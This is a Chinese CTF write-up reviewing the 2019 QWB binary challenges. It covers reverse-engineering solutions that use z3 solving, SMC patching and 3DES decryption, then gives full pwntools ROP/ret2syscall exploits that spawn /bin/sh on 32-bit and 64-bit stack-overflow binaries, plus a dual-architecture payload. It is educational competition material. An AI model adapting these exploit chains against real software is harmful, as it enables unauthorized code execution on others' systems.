0.写在前面

题目地址:2019强网杯题目 参考资料:《强网杯部分WriteUp》(W&M 白帽100安全攻防实验室) 参考资料:强网杯 签到re 签到pwn 题解 参考资料:强网杯-JustRe

1.Reverse 方向

强网先锋_AD

查二进制文件信息,无壳64位ELF文件

2019 强网杯 Binary 复盘(持续更新) - 图1

IDA反编译发现了一大堆的数字

2019 强网杯 Binary 复盘(持续更新) - 图2

转下字符

2019 强网杯 Binary 复盘(持续更新) - 图3

发现了双等于,警觉的怀疑是base64

于是转一手

2019 强网杯 Binary 复盘(持续更新) - 图4

发现flag:flag{mafakuailaiqiandaob}

JustRe

查二进制文件信息,无壳PE文件

2019 强网杯 Binary 复盘(持续更新) - 图5

IDA打开发现无法定位到main函数,于是尝试运行程序

2019 强网杯 Binary 复盘(持续更新) - 图6

发现关键字符串

  1. # ######
  2. # # # #### ##### # # ######
  3. # # # # # # # #
  4. # # # #### # ###### #####
  5. # # # # # # # # #
  6. # # # # # # # # # #
  7. ##### #### #### # # # ######

于是是用字符串窗口查看

2019 强网杯 Binary 复盘(持续更新) - 图7

2019 强网杯 Binary 复盘(持续更新) - 图8

进而可确定main函数

2019 强网杯 Binary 复盘(持续更新) - 图9

sub_401CE0经判断是一个读入函数,loc_4018A0处的内容被SMC了

2019 强网杯 Binary 复盘(持续更新) - 图10

并发现此处内容会被sub_401610验证函数解密,那么我们跟进sub_401610

分析可以发现line 175是关键行,它会将func_data写入loc_404148的区域

那么逐层分析,首先while(1)之间的代码可改写为

for(int i=0;i<8;++i)
{
    if ( user_input[i] >= '0' && user_input[i] <= '9' ){
        v6 = user_input[i] - 65;
    }else{
        v6 = user_input[i] - 65;
        if ( user_input[i] - 65 > 25 )
            break;
    }
    v3 *= 16
    if ( user_input[i] - 48 <= 9 ){
        v7 = v3 - 48;
        v3 = user_input[i] + v7;
    }else if(v6 <= 25){
        v7 = v3 - 55;
        v3 = user_input[i] + v7;
    }
}

然后再进一步处理逻辑可以进一步改写为

for(int i=0;i<8;++i) // 逐位处理用户输入
{
    if ( user_input[i] - 65 > 25 )//若用户输入的是大于‘Z’的值则退出
        break;
    user_input_num *= 16;//v3左移一个十六进制数
    if ( user_input[i] - 48 <= 9 )
        user_input_num += user_input[i] - 48;//获取用户输入的数值
    else
        user_input_num += user_input[i] - 55;//获取用户输入的字母相对于'7'偏移的数值
        //这里应当是想获取用户输入的字母相对于'A'偏移的数值?
}

分析内容已经写在了注释里~

本地写了个例程来证明这一点

2019 强网杯 Binary 复盘(持续更新) - 图11

接下来可以分析出程序又读入了输入的两位并按同样的方法存在了程序里

2019 强网杯 Binary 复盘(持续更新) - 图12

并在接下来进行了如下操作

2019 强网杯 Binary 复盘(持续更新) - 图13

if内部的处理使用了SSE指令集

基本上一個 SSE 的 intrinsics 的型式為: mm_ 其中mm是处理64位寄存器或128位寄存器的前缀

是一个操作,比如add for addition或sub for subtraction

表示要操作的数据类型,第一个字母表示压缩(p),扩展压缩(ep)或标量。 其余字母是下表中给出的类型.

suffix 数据类型
[s/d] 单精度或双精度浮点
[i/u]nnn 位大小为nnn的有符号或无符号整数,其中nnn为128,64,32,16或8
[ps/pd/sd] Packed single, packed double, or scalar double
epi32 扩展压缩32位有符号整数
si256 标量256位整数

代码中涉及的变量

假设user_input=123456789A
v9 =user_input[0:9]
v27=user_input[9:11]
xmmword_404340=0x00000003000000020000000100000000
xmmword_404350=0x00000004000000040000000400000004
xmmword_404360=0x00000008000000080000000800000008
xmmword_404370=0x0000000C0000000C0000000C0000000C
xmmword_404380=0x01010101010101010101010101010101
xmmword_405018=0x3D5E1084FD0E0A2CE98FBCC77AB29357
xmmword_404318=0x3D4F7424ED150C28FB39F0A384C9FB26
xmmword_404328=0x5715BAFE28EA503D065C0BEB3CCE6C2A
xmmword_404338=0x63184D41064DEFECAF152E2F3D4F842B

接下来逐行分析

v21 = _mm_mullo_epi32(_mm_cvtepu8_epi32(_mm_cvtsi32_si128(v27.m128i_u32[0])),(__m128i)xmmword_404380);

_mm_cvtsi32_si128是数据类型转换指令,效果是把si32类型转换为si128类型

_mm_cvtepu8_epi32是数据类型转换指令,效果是把epu8类型转换为epi32类型

_mm_mullo_epi32是计算指令,效果是把两个epi32类型元素相乘并存储低位

因此,计算后的结果应当为窝们输入的数据的后两位的重复,并进行epi32截断

v21=0x9A9A9A9A9A9A9A9A

接下来

xmmword_405018 = (__int128)_mm_xor_si128(_mm_add_epi32((__m128i)xmmword_404340, v9),_mm_add_epi32(v21, (__m128i)xmmword_405018));

_mm_add_epi32是计算指令,效果是把两个epi32类型元素相加并存储低位

_mm_xor_si128是计算指令,效果是把两个epi32类型元素异或并存储低位

所以此处可改写为
x_1=0x00000003000000020000000100000000+0x0000000012345678;
x_2=0x3D5E1084FD0E0A2CE98FBCC77AB29357+0x9A9A9A9A9A9A9A9A; 
y=x_1^x_2

接下来

xmmword_405028 =(__int128)_mm_xor_si128(_mm_add_epi32(_mm_add_epi32((__m128i)xmmword_404350,(__m128i)xmmword_404340), v9),_mm_add_epi32(v21, (__m128i)xmmword_405028));
xmmword_405038 =(__int128)_mm_xor_si128(_mm_add_epi32(_mm_add_epi32((__m128i)xmmword_404360,(__m128i)xmmword_404340), v9),_mm_add_epi32(v21, (__m128i)xmmword_405038));
xmmword_405048 =(__int128)_mm_xor_si128(_mm_add_epi32(_mm_add_epi32((__m128i)xmmword_404370,(__m128i)xmmword_404340), v9),_mm_add_epi32(v21, (__m128i)xmmword_405048));

这三轮运算除参数不同其余均相同,不再赘述

接下来do-while循环体

do
{
    *((_DWORD *)&xmmword_405018 + v20) = (v20 + v3) ^ (0x1010101 * v11 + *((_DWORD*)&xmmword_405018 + v20));
    ++v20;
}while ( v20 < 24 );
x = v3  = user_input[0:9]
y = v11 = user_input[9:11]

此循环体也可以改写为

for(int i=?;i<24;i++)
    func_data[i]=(x+i)^(0x1010101*y+func_data[i])

其中i的初值会随进入if与否发生变化

但是我们已经可以通过约束求解求出user_input,并且我们可以分析得知我们也可以使用do-while来约束求解

这里我们给出两个EXP

if 内部处理 约束求解

from z3 import *

flag = ''

def xmm2dwords(value):
    temp = []
    for i in range(4):
        temp.append(value >> (i*32))
    return temp

def dwords2xmm(dwords):
    ret = 0
    for i in range(4):
        ret += dwords[i] << (i*32)
    return ret

def xmm_add32(a, b):
    for i in range(4):
        a[i] += b[i]
        a[i] &= 0xffffffff
    return a

def xmm_xor(a, b):
    for i in range(4):
        a[i] ^= b[i]

def xmm_caculate(key, value):
    global v9, v21
    keys = xmm2dwords(key)
    values = xmm2dwords(value)
    temp9 = xmm2dwords(v9)
    temp21 = xmm2dwords(v21)
    xmm_add32(keys, temp9)
    xmm_add32(temp21, values)
    xmm_xor(temp21, keys)
    return dwords2xmm(temp21)

key = [0x3000000020000000100000000, 0x4000000040000000400000004, 0x8000000080000000800000008, 0x0C0000000C0000000C0000000C]

xmm_data = [0x3E5F11D5FE0F0B1DEA90BD987BB39408, 0x3E507535EE160D39FC3AF1B485CAFC37,
            0x5816BBEF29EB512E075D0CFC3DCF6D3B, 0x64194E32074EF0FDB0162F403E50853C]
xmm_func = [0x405004a100000278ec81f0e483ec8b55, 0x4041a805100f00000274248489c43300,
            0x7e0ff3572c2444110f56004041c0a000, 0x6a0a41100f402444d60f66004041b805]

v21 = BitVec('v21', 16*8)
v9 = BitVec('v9', 16*8)

solver = Solver()
solver.add(xmm_func[0] == xmm_caculate(key[0], xmm_data[0]))
solver.add(xmm_func[1] == xmm_caculate(dwords2xmm(xmm_add32(xmm2dwords(key[1]), xmm2dwords(key[0]))), xmm_data[1]))
solver.add(xmm_func[2] == xmm_caculate(dwords2xmm(xmm_add32(xmm2dwords(key[2]), xmm2dwords(key[0]))), xmm_data[2]))
solver.add(xmm_func[3] == xmm_caculate(dwords2xmm(xmm_add32(xmm2dwords(key[3]), xmm2dwords(key[0]))), xmm_data[3]))
solver.add(v9&0xffffffff == (v9 >> 32)&0xffffffff)
solver.add(v9&0xffffffff == (v9 >> 32*2)&0xffffffff)
solver.add(v9&0xffffffff == (v9 >> 32*3)&0xffffffff)

temp = v21
for i in range(15):
    solver.add(temp&0xff == (temp>>8)&0xff)
    temp >>= 8
print solver.check()
m = solver.model()
print hex(int(str(m[v9])))[2:8+2] + hex(int(str(m[v21])))[2:2+2]

do-while 约束求解

from z3 import *

base_data = [0x78B09135,0xE78DBAE5,0xFB0C084A, 0x3B5C0EA2,0x82C7F904,0xF937EE81,0xEB130A06,0x3B4D7202,0x3ACC6A08,0x045A0A49, 0x26E84E1B,0x5513B95C, 0x3B4D8209,0xAD132C0D,  0x044BEE4A,0x61164B1F]

base_data = [0x79B19266,  0x0E88EBBB6,  0x0FC0D093B, 0x3C5D0F73,  0x83C8FA15,      0x0FA38EF92,  0x0EC140B17, 0x3C4E7313, 0x3BCD6B19,  0x55B0B5A,0x27E94F0C,0x5614BA4D,0x3C4E831A,0x0AE142D1E, 0x54CEF5B,    0x62174C10]

func_data = [0x83EC8B55,0xEC81F0E4,0x00000278,0x405004A1,0x89C43300,0x02742484,0x100F0000,0x4041A805,0x41C0A000,0x0F560040,0x2C244411,0x7E0FF357,0x4041B805,0xD60F6600,0x0F402444,0x6A0A4110]


f1 = BitVec('f1', 4*8)
f2 = BitVec('f2', 4*8)

# f1 = Int("f1")
# f2 = Int("f2")

solver = Solver()

for i in range(16):

    solver.add(func_data[i] == ((f1 + i) ^ ((0x1010101 * f2) + base_data[i])))   

s = solver.check()
m = solver.model()

print hex(int(str(m[f1])))[2:], hex(int(str(m[f2])))[2:]

# 13242218 18

接下来我们可以使用IDA-Python脚本来破解SMC

a_start=0x004018A0
b_start=0x00404148
for i in range(0x60):
    b = GetManyBytes(b_start+i,1,False)
    print '%02x' % b
    patch_byte(a_start+i,b)

2019 强网杯 Binary 复盘(持续更新) - 图14

发现新函数极为复杂,使用PEiD插件查看程序

2019 强网杯 Binary 复盘(持续更新) - 图15

发现存在DES加密

2019 强网杯 Binary 复盘(持续更新) - 图16

分析发现三次处理,于是怀疑是DES3加密

可以发现密钥

2019 强网杯 Binary 复盘(持续更新) - 图17

密文

2019 强网杯 Binary 复盘(持续更新) - 图18

直接解密即可,解密脚本

from Crypto.Cipher import DES
s = '\x50\x7C\xA9\xE6\x87\x09\xCE\xFA\x20\xD5\x0D\xCF\x90\xBB\x97\x6C'
des0 = DES.new('AFSAFCED', DES.MODE_ECB)
des1 = DES.new('YCXCXACN', DES.MODE_ECB)
des2 = DES.new('DFKDCQXC', DES.MODE_ECB)
text = des0.decrypt(des1.encrypt(des2.decrypt(s)))
print text

2.Pwn 方向

babymimic

32位 _stkof 解决

首先,查保护

2019 强网杯 Binary 复盘(持续更新) - 图19

IDA反编译后可以很明显的发现漏洞函数vul

2019 强网杯 Binary 复盘(持续更新) - 图20

2019 强网杯 Binary 复盘(持续更新) - 图21

并发现有很大的溢出空间,并发现程序是使用静态编译的

2019 强网杯 Binary 复盘(持续更新) - 图22

于是尝试使用ret2syscall,那么先寻找gadget

$ ROPgadget --binary _stkof --only 'pop|ret' | grep 'eax'
0x0809f12a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
0x080a8af6 : pop eax ; ret
0x0809f129 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

最后选取0x080a8af6 : pop eax ; ret

$ ROPgadget --binary _stkof --only 'pop|ret' | grep 'ebx'
0x0809f132 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809f12a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08055f54 : pop eax ; pop edx ; pop ebx ; ret
0x0806b08d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809f514 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0805b4be : pop ebx ; pop edi ; ret
0x0806e9ca : pop ebx ; pop edx ; ret
0x0809feab : pop ebx ; pop esi ; pop ebp ; ret
0x08048349 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0805d4cf : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x080a1a88 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08049b19 : pop ebx ; pop esi ; pop edi ; ret
0x08049747 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080c281c : pop ebx ; ret 0x6f9
0x0806e9f2 : pop ecx ; pop ebx ; ret
0x0806a51e : pop edi ; pop ebx ; ret
0x08061bcb : pop edi ; pop esi ; pop ebx ; ret
0x08055f55 : pop edx ; pop ebx ; ret
0x0806e9f1 : pop edx ; pop ecx ; pop ebx ; ret
0x0809f129 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806e9c9 : pop esi ; pop ebx ; pop edx ; ret
0x08061bcc : pop esi ; pop ebx ; ret
0x0806a51d : pop esi ; pop edi ; pop ebx ; ret
0x080544c6 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

最后选取0x0806e9f1 : pop edx ; pop ecx ; pop ebx ; ret

$ ROPgadget --binary _stkof --only 'int'
Gadgets information
============================================================
0x080495a3 : int 0x80
0x080ab9b4 : int 0xf9
0x0806b9c3 : int 0xfd

Unique gadgets found: 3

最后选取0x080495a3 : int 0x80

此时我们还缺少一个’/bin/sh’字符串,因此可以使用’read’函数写入程序的数据段

因此我们可以得到32位EXP

from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./_stkof")

pop_eax_ret = 0x080a8af6
pop_edx_ecx_ebx_ret = 0x0806e9f1
read_addr=0x0806C8E0
data_segment = 0x80d7000
int_0x80 = 0x080495a3

payload  = 'A'*0x10C + 'AAAA'
payload += p32(read_addr) + p32(pop_edx_ecx_ebx_ret)
payload += p32(0) + p32(data_segment) + p32(0x100)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0) + p32(0) + p32(data_segment)
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(int_0x80)
sh.recvuntil("We give you a little challenge, try to pwn it?")
sh.sendline(payload)
sh.sendline('/bin/sh\x00')
sh.interactive()

64位 __stkof 解决

首先,查保护

2019 强网杯 Binary 复盘(持续更新) - 图23

IDA反编译后可以发现与32位的程序基本相同

首先我们需要知道Linux 32位系统调用和64位系统调用的区别

  1. 系统调用号不同。如sys_write在32位下是4,在64位下是1。
  2. 调用方法不同。我们在32位下用int 80H中断进行系统调用,而64位下需要用syscall指令进行系统调用。
  3. 传参方式不同。32位程序,我们将系统调用号传入eax,调用参数按照ebx,ecx,edx的顺序写入寄存器,系统调用返回值写入eax寄存器。而64位程序,系统调用号传入rax,而各个参数按照rdi,rsi,rdx的顺序写入寄存器,系统调用返回值写入rax。

寻找gadget

$ ROPgadget --binary __stkof --only 'pop|ret' | grep 'rax'
0x000000000046d236 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000043b97c : pop rax ; ret
0x0000000000499e68 : pop rax ; ret 0xfffb

最后选取0x000000000043b97c : pop rax ; ret

$ ROPgadget --binary __stkof --only 'pop|ret' | grep 'rdi'
0x0000000000401f34 : pop rdi ; pop rbp ; ret
0x00000000004005f6 : pop rdi ; ret

最后选取0x00000000004005f6 : pop rdi ; ret

$ ROPgadget --binary __stkof --only 'pop|ret' | grep 'rsi'
0x000000000043d9f9 : pop rdx ; pop rsi ; ret
0x0000000000401f32 : pop rsi ; pop r15 ; pop rbp ; ret
0x00000000004005f4 : pop rsi ; pop r15 ; ret
0x0000000000407abe : pop rsi ; pop rbp ; ret
0x0000000000405895 : pop rsi ; ret

最后选取0x0000000000405895 : pop rsi ; ret

$ ROPgadget --binary __stkof --only 'pop|ret' | grep 'rdx'
0x000000000046d236 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000043d9d3 : pop rdx ; pop r10 ; ret
0x000000000046d237 : pop rdx ; pop rbx ; ret
0x000000000043d9f9 : pop rdx ; pop rsi ; ret
0x000000000043b9d5 : pop rdx ; ret

最后选取0x000000000043b9d5 : pop rdx ; ret

$ ROPgadget --binary __stkof | grep 'syscall'
0x0000000000461bdf : add byte ptr [rax + 0x66], bh ; syscall ; ret
0x0000000000461bff : add byte ptr [rax + 0x68], bh ; syscall ; ret
0x0000000000461bef : add byte ptr [rax + 0x6b], bh ; syscall ; ret
0x0000000000461c0f : add byte ptr [rax + 0x6c], bh ; syscall ; ret
0x0000000000461bde : add byte ptr [rax], al ; mov eax, 0x66 ; syscall ; ret
0x0000000000461bfe : add byte ptr [rax], al ; mov eax, 0x68 ; syscall ; ret
0x0000000000461bee : add byte ptr [rax], al ; mov eax, 0x6b ; syscall ; ret
0x0000000000461c0e : add byte ptr [rax], al ; mov eax, 0x6c ; syscall ; ret
0x000000000043d9f5 : add byte ptr [rax], al ; syscall ; pop rdx ; pop rsi ; ret
0x0000000000461643 : add byte ptr [rax], al ; syscall ; ret
0x000000000046fe40 : mov eax, 0x27 ; syscall ; ret
0x0000000000461be0 : mov eax, 0x66 ; syscall ; ret
0x0000000000461c00 : mov eax, 0x68 ; syscall ; ret
0x0000000000461bf0 : mov eax, 0x6b ; syscall ; ret
0x0000000000461c10 : mov eax, 0x6c ; syscall ; ret
0x0000000000461640 : mov eax, 0xc9 ; syscall ; ret
0x000000000043d9f2 : mov eax, 0xca ; syscall ; pop rdx ; pop rsi ; ret
0x000000000046fe3f : nop ; mov eax, 0x27 ; syscall ; ret
0x000000000046163f : nop ; mov eax, 0xc9 ; syscall ; ret
0x000000000043d9f7 : syscall ; pop rdx ; pop rsi ; ret
0x0000000000461645 : syscall ; ret

最后选取0x0000000000461645 : syscall ; ret

因此我们可以得到64位EXP

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./__stkof")

pop_rax_ret = 0x000000000043b97c
pop_rdi_ret = 0x00000000004005f6
pop_rsi_ret = 0x0000000000405895
pop_rdx_ret = 0x000000000043b9d5
syscall_ret = 0x0000000000461645
read_addr   = 0x000000000043B9C0
data_segment= 0x00000000006a4e40


payload  = 'A'*0x110 + 'AAAAAAAA'
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(data_segment)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(syscall_ret)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(pop_rdi_ret) + p64(data_segment)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
sh.recvuntil("We give you a little challenge, try to pwn it?")
# gdb.attach(sh)
sh.sendline(payload)
# gdb.attach(sh)
sh.sendline('/bin/sh\x00')
sh.interactive()
print(sh.recv())

但是看WriteUp好像是要一个脚本跑通两个程序,那么就要想办法把两个脚本合二为一

stkof 解决

注意到两个程序的目标buf有所不同

2019 强网杯 Binary 复盘(持续更新) - 图24

2019 强网杯 Binary 复盘(持续更新) - 图25

那么我们可以利用rsp的增加来使两个EXP分开,互不影响

寻找gadget

$ ROPgadget --binary _stkof --only 'add|ret' | grep 'esp'
0x080a459f : add byte ptr [eax], al ; add byte ptr [ebp + 0x10], dh ; add esp, 0x2c ; ret
0x0809e89a : add byte ptr [eax], al ; add byte ptr [ebp + 0xd], dh ; add esp, 0x2c ; ret
0x080a1150 : add byte ptr [eax], al ; add byte ptr [ebp + 4], dh ; add esp, 0x2c ; ret
0x080a1247 : add byte ptr [eax], al ; add byte ptr [ebp + 8], dh ; add esp, 0x2c ; ret
0x0809e516 : add byte ptr [eax], al ; add byte ptr [ebp + 9], dh ; add esp, 0x2c ; ret
0x08049918 : add byte ptr [eax], al ; add esp, 0x2c ; ret
0x080a45a1 : add byte ptr [ebp + 0x10], dh ; add esp, 0x2c ; ret
0x0809e89c : add byte ptr [ebp + 0xd], dh ; add esp, 0x2c ; ret
0x080a1152 : add byte ptr [ebp + 4], dh ; add esp, 0x2c ; ret
0x080a1249 : add byte ptr [ebp + 8], dh ; add esp, 0x2c ; ret
0x0809e518 : add byte ptr [ebp + 9], dh ; add esp, 0x2c ; ret
0x0807bca1 : add dword ptr [ecx], esp ; ret 0x6a52
0x080a43c0 : add eax, dword ptr [esp] ; ret
0x080c5240 : add ebp, esp ; add dword ptr [edx], ecx ; ret
0x080a8f66 : add esp, 0x10 ; add esp, 0xc ; ret
0x0804f095 : add esp, 0x1c ; ret
0x080a69f2 : add esp, 0x20 ; ret
0x0804991a : add esp, 0x2c ; ret
0x080a8f69 : add esp, 0xc ; ret

最后选取0x080a69f2 : add esp, 0x20 ; ret

xiaolan@ubuntu:~/Desktop/2019qwb/Pwn/babymimic$ ROPgadget --binary __stkof --only 'add|ret' | grep 'rsp'
0x0000000000474d1b : add al, 0x24 ; add rsp, 0x38 ; ret
0x0000000000474d18 : add byte ptr [rax - 0x75], cl ; add al, 0x24 ; add rsp, 0x38 ; ret
0x000000000046d0df : add byte ptr [rax], al ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000043b744 : add byte ptr [rax], al ; add byte ptr [rbp + 0x10], dh ; add rsp, 0x28 ; ret
0x000000000046d69d : add byte ptr [rax], al ; add byte ptr [rbp + 0x12], dh ; add rsp, 0x38 ; ret
0x000000000046f44c : add byte ptr [rax], al ; add byte ptr [rbp + 0x14], dh ; add rsp, 0x38 ; ret
0x000000000046d433 : add byte ptr [rax], al ; add byte ptr [rbp + 0x1c], dh ; add rsp, 0x48 ; ret
0x0000000000461f80 : add byte ptr [rax], al ; add byte ptr [rbp + 0x1e], dh ; add rsp, 0x38 ; ret
0x000000000046d28e : add byte ptr [rax], al ; add byte ptr [rbp + 0x30], dh ; add rsp, 0x38 ; ret
0x000000000043b974 : add byte ptr [rax], al ; add byte ptr [rbp + 0x42], dh ; add rsp, 0x58 ; ret
0x000000000043bbc3 : add byte ptr [rax], al ; add byte ptr [rbp + 0x43], dh ; add rsp, 0x18 ; ret
0x0000000000461e39 : add byte ptr [rax], al ; add byte ptr [rbp + 0x45], dh ; add rsp, 0x58 ; ret
0x0000000000474c76 : add byte ptr [rax], al ; add byte ptr [rbp + 0xb], dh ; add rsp, 0x28 ; ret
0x000000000046d323 : add byte ptr [rax], al ; add byte ptr [rbp + 0xc], dh ; add rsp, 0x38 ; ret
0x000000000043c673 : add byte ptr [rax], al ; add byte ptr [rbp + 0xf], dh ; add rsp, 0x28 ; ret
0x0000000000472cc8 : add byte ptr [rax], al ; add byte ptr [rbp + 0xf], dh ; add rsp, 0x38 ; ret
0x000000000044a44c : add byte ptr [rax], al ; add byte ptr [rbp + 5], dh ; add rsp, 0x18 ; ret
0x000000000046fa7a : add byte ptr [rax], al ; add byte ptr [rbp + 5], dh ; add rsp, 0x38 ; ret
0x000000000043bd44 : add byte ptr [rax], al ; add byte ptr [rbp + 5], dh ; add rsp, 0x58 ; ret
0x0000000000477470 : add byte ptr [rax], al ; add rsp, 0x18 ; ret
0x000000000043b869 : add byte ptr [rax], al ; add rsp, 0x68 ; ret
0x0000000000461d2e : add byte ptr [rax], al ; add rsp, 0x78 ; ret
0x0000000000413997 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000047a5c5 : add byte ptr [rax], r8b ; add rsp, 8 ; ret
0x000000000043b746 : add byte ptr [rbp + 0x10], dh ; add rsp, 0x28 ; ret
0x000000000046d69f : add byte ptr [rbp + 0x12], dh ; add rsp, 0x38 ; ret
0x000000000046f44e : add byte ptr [rbp + 0x14], dh ; add rsp, 0x38 ; ret
0x000000000046d435 : add byte ptr [rbp + 0x1c], dh ; add rsp, 0x48 ; ret
0x0000000000461f82 : add byte ptr [rbp + 0x1e], dh ; add rsp, 0x38 ; ret
0x000000000046d290 : add byte ptr [rbp + 0x30], dh ; add rsp, 0x38 ; ret
0x000000000043b976 : add byte ptr [rbp + 0x42], dh ; add rsp, 0x58 ; ret
0x000000000043bbc5 : add byte ptr [rbp + 0x43], dh ; add rsp, 0x18 ; ret
0x0000000000461e3b : add byte ptr [rbp + 0x45], dh ; add rsp, 0x58 ; ret
0x0000000000474c78 : add byte ptr [rbp + 0xb], dh ; add rsp, 0x28 ; ret
0x000000000046d325 : add byte ptr [rbp + 0xc], dh ; add rsp, 0x38 ; ret
0x000000000043c675 : add byte ptr [rbp + 0xf], dh ; add rsp, 0x28 ; ret
0x0000000000472cca : add byte ptr [rbp + 0xf], dh ; add rsp, 0x38 ; ret
0x000000000044a44e : add byte ptr [rbp + 5], dh ; add rsp, 0x18 ; ret
0x000000000046fa7c : add byte ptr [rbp + 5], dh ; add rsp, 0x38 ; ret
0x000000000043bd46 : add byte ptr [rbp + 5], dh ; add rsp, 0x58 ; ret
0x000000000046f49e : add eax, 0x234bc5 ; add rsp, 8 ; ret
0x000000000046adf2 : add eax, 0x2395b9 ; add rsp, 8 ; ret
0x000000000044a699 : add rsp, 0x148 ; ret
0x0000000000414ef8 : add rsp, 0x18 ; ret
0x000000000043b749 : add rsp, 0x28 ; ret
0x0000000000461f85 : add rsp, 0x38 ; ret
0x000000000046d438 : add rsp, 0x48 ; ret
0x000000000043b979 : add rsp, 0x58 ; ret
0x000000000043b86b : add rsp, 0x68 ; ret
0x0000000000461d30 : add rsp, 0x78 ; ret
0x000000000040cd17 : add rsp, 0x80 ; ret
0x00000000004079d4 : add rsp, 0xd8 ; ret
0x0000000000400412 : add rsp, 8 ; ret

最后选取0x000000000040cd17 : add rsp, 0x80 ; ret

EXP如下

from pwn import *

int_0x80_x32            = 0x0080495a3
read_addr_x32           = 0x00806c8e0
pop_eax_ret_x32         = 0x0080a8af6
data_segment_x32        = 0x0080d7000
add_esp_0x20_ret_x32    = 0x0080a69f2
pop_edx_ecx_ebx_ret_x32 = 0x00806e9f1
read_addr_x64           = 0x00043b9c0
pop_rax_ret_x64         = 0x00043b97c
pop_rdi_ret_x64         = 0x0004005f6
pop_rsi_ret_x64         = 0x000405895
pop_rdx_ret_x64         = 0x00043b9d5
syscall_ret_x64         = 0x000461645
data_segment_x64        = 0x0006a4e40
add_rsp_0x80_ret_x64    = 0x00040cd17

payload  = 'A'*0x110
payload += p32(add_esp_0x20_ret_x32) + 'AAAA' # RBP_x64
payload += p64(add_rsp_0x80_ret_x64)    # Return_addr_x64
payload += 'A'*0x14                     # 
payload += p32(read_addr_x32)           # vul_return_addr_x32
payload += p32(pop_edx_ecx_ebx_ret_x32) # read_return_addr_x32
payload += p32(0)                       # read_arg1_x32
payload += p32(data_segment_x32)        # read_arg2_x32
payload += p32(0x8)                     # read_arg3_x32
payload += p32(pop_edx_ecx_ebx_ret_x32) # pdpxpb_return_addr_x32
payload += p32(0)                       # EDX_x32
payload += p32(0)                       # ECX_x32
payload += p32(data_segment_x32)        # EBX_x32
payload += p32(pop_eax_ret_x32)         # pdpxpb_return_addr_x32
payload += p32(0xB)                     # EAX_x32
payload += p32(int_0x80_x32)            # popeax_return_addr_x32
payload += 'A'*0x3C                     #
payload += p64(pop_rax_ret_x64)         # vul_return_addr_x64
payload += p64(0)                       # RAX_x64
payload += p64(pop_rdi_ret_x64)         # popeax_return_addr_x64
payload += p64(0)                       # RDI_x64
payload += p64(pop_rsi_ret_x64)         # poprdi_return_addr_x64
payload += p64(data_segment_x64)        # RSI_x64
payload += p64(pop_rdx_ret_x64)         # poprsi_return_addr_x64
payload += p64(0x100)                   # RDX_x64
payload += p64(syscall_ret_x64)         # poprdx_return_addr_x64
payload += p64(pop_rax_ret_x64)         # read_return_addr_x64
payload += p64(59)                      # RAX_x64
payload += p64(pop_rdi_ret_x64)         # popeax_return_addr_x64
payload += p64(data_segment_x64)        # RDI_x64
payload += p64(pop_rsi_ret_x64)         # poprdi_return_addr_x64
payload += p64(0)                       # RSI_x64
payload += p64(pop_rdx_ret_x64)         # poprsi_return_addr_x64
payload += p64(0)                       # RDX_x64
payload += p64(syscall_ret_x64)         # poprdx_return_addr_x64

sh = process("./__stkof")
sh.recvuntil("We give you a little challenge, try to pwn it?")
sh.sendline(payload)
raw_input('Enter to get shell!\n>')
sh.sendline('/bin/sh\x00')
sh.interactive()
sh.close()
sh = process("./_stkof")
sh.recvuntil("We give you a little challenge, try to pwn it?")
# gdb.attach(sh)
sh.sendline(payload)
raw_input('Enter to get shell!\n>')
sh.sendline('/bin/sh\x00')
sh.interactive()
sh.close()

2019 强网杯 Binary 复盘(持续更新) - 图26